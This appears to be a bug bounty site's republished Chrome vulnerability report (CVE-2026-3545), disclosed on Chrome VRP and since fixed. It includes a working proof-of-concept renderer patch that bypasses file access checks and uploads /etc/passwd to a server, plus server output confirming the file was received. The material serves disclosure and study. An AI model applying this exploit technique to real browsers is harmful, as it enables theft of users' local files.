Skip to content
Access control Advisory Advanced CVE-2026-3545

Insufficient data validation in Navigation (CVE-2026-3545)

A compromised renderer could craft a POST navigation's page state to include an arbitrary file in the request body, bypassing file access checks. This allowed the browser to upload files like /etc/passwd to a remote server without permission.

Google Chrome

Originally disclosed on Chrome VRP

  • Fix shipped in 8 days

VULNERABILITY DETAILS

A sandbox escape allows a compromised renderer to trick the browser into uploading arbitrary files from the user's system without the corresponding file access permissions.

VERSION

Chrome Version: built from recent git, with C++ patch applied to renderer only

Operating System: tested on Linux

REPRODUCTION CASE

Video of repro attached.

  1. Patch the renderer with the diff below.
  2. Run the attached Python script to create a server.
  3. Navigate to http://127.0.0.1:8000/
  4. Press the button to start the exploit.
  5. Refresh when you see a redirection error.

Result: /etc/passwd is sent to remote server.

Patch to renderer (assumes renderer already compromised):

diff --git a/content/renderer/render_frame_impl.cc b/content/renderer/render_frame_impl.cc
index d837ffbb8abfb..486c5ce9b2820 100644
--- a/content/renderer/render_frame_impl.cc
+++ b/content/renderer/render_frame_impl.cc
@@ -163,6 +163,8 @@
 #include "third_party/blink/public/common/navigation/navigation_params_mojom_traits.h"
 #include "third_party/blink/public/common/navigation/navigation_policy.h"
 #include "third_party/blink/public/common/page_state/page_state.h"
+#include "third_party/blink/public/common/page_state/page_state_serialization.h"
+#include "services/network/public/cpp/resource_request_body.h"
 #include "third_party/blink/public/common/renderer_preferences/renderer_preferences.h"
 #include "third_party/blink/public/common/thread_safe_browser_interface_broker_proxy.h"
 #include "third_party/blink/public/mojom/blob/blob.mojom.h"
@@ -5021,9 +5023,41 @@ RenderFrameImpl::MakeDidCommitProvisionalLoadParams(
   params->page_state = GetWebFrame()->CurrentHistoryItemToPageState();
 
   params->method = document_loader->HttpMethod().Latin1();
-  if (params->method == "POST")
+  if (params->method == "POST") {
     params->post_id = ExtractPostId(item);
 
+    // --- START MALICIOUS MODIFICATION ---
+    LOG(INFO) << "MALICIOUS: Intercepting POST navigation commit, preparing crafted PageState";
+    blink::ExplodedPageState exploded_page_state;
+    if (blink::DecodePageState(params->page_state.ToEncodedData(), &exploded_page_state)) {
+        // 1. Clear referenced_files to bypass CanAccessFilesOfPageState
+        exploded_page_state.referenced_files.clear();
+        
+        // 2. Craft malicious ResourceRequestBody
+        scoped_refptr<network::ResourceRequestBody> malicious_body =
+            new network::ResourceRequestBody();
+        
+        base::FilePath target_file = base::FilePath::FromUTF8Unsafe("/etc/passwd");
+        malicious_body->AppendFileRange(
+            target_file,
+            0,
+            std::numeric_limits<uint64_t>::max(),
+            base::Time());
+        
+        // 3. Inject into the HTTP body of the top frame
+        exploded_page_state.top.http_body.request_body = malicious_body;
+        exploded_page_state.top.http_body.http_content_type = u"text/plain";
+
+        std::string encoded_malicious_page_state;
+        blink::EncodePageState(exploded_page_state, &encoded_malicious_page_state);
+        params->page_state = blink::PageState::CreateFromEncodedData(encoded_malicious_page_state);
+        LOG(INFO) << "MALICIOUS: PageState modification complete. Body contains file: /etc/passwd";
+    } else {
+        LOG(ERROR) << "MALICIOUS: Failed to decode PageState!";
+    }
+    // --- END MALICIOUS MODIFICATION ---
+  }
+
   params->item_sequence_number = item.ItemSequenceNumber();
   params->document_sequence_number = item.DocumentSequenceNumber();
   params->navigation_api_key = item.GetNavigationApiKey().Utf8();

Output from Python server, demonstrating that it received /etc/passwd:

127.0.0.1 - - [24/Feb/2026 16:46:47] GET request to /trigger
127.0.0.1 - - [24/Feb/2026 16:46:47] "GET /trigger HTTP/1.1" 200 -
127.0.0.1 - - [24/Feb/2026 16:46:51] POST request to /upload

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!! EXPLOIT SUCCESSFUL !!! /etc/passwd contents received.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

root:x:0:0:root:/root:/bin/bash
...

CREDIT INFORMATION

Reporter credit: Ryan Lothian

The original report as published on the Chromium issue tracker. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the browser trusted the renderer-supplied page state and request body without re-validating file access permissions when committing a POST navigation.

What the attacker needed

Compromised renderer; user visits a malicious page; user interacts with the page

How it was found

  1. Patch the renderer with the provided diff to simulate a compromised renderer.
  2. Run the attached Python script to start a server.
  3. Navigate to the local server address.
  4. Press the button to start the exploit.
  5. Refresh when a redirection error appears.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A sandbox is a security boundary that limits what a compromised part of the browser (the renderer) can do. Here, the renderer could trick the browser into reading a sensitive file and sending it to an attacker's server, even though it should not have permission to access that file.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.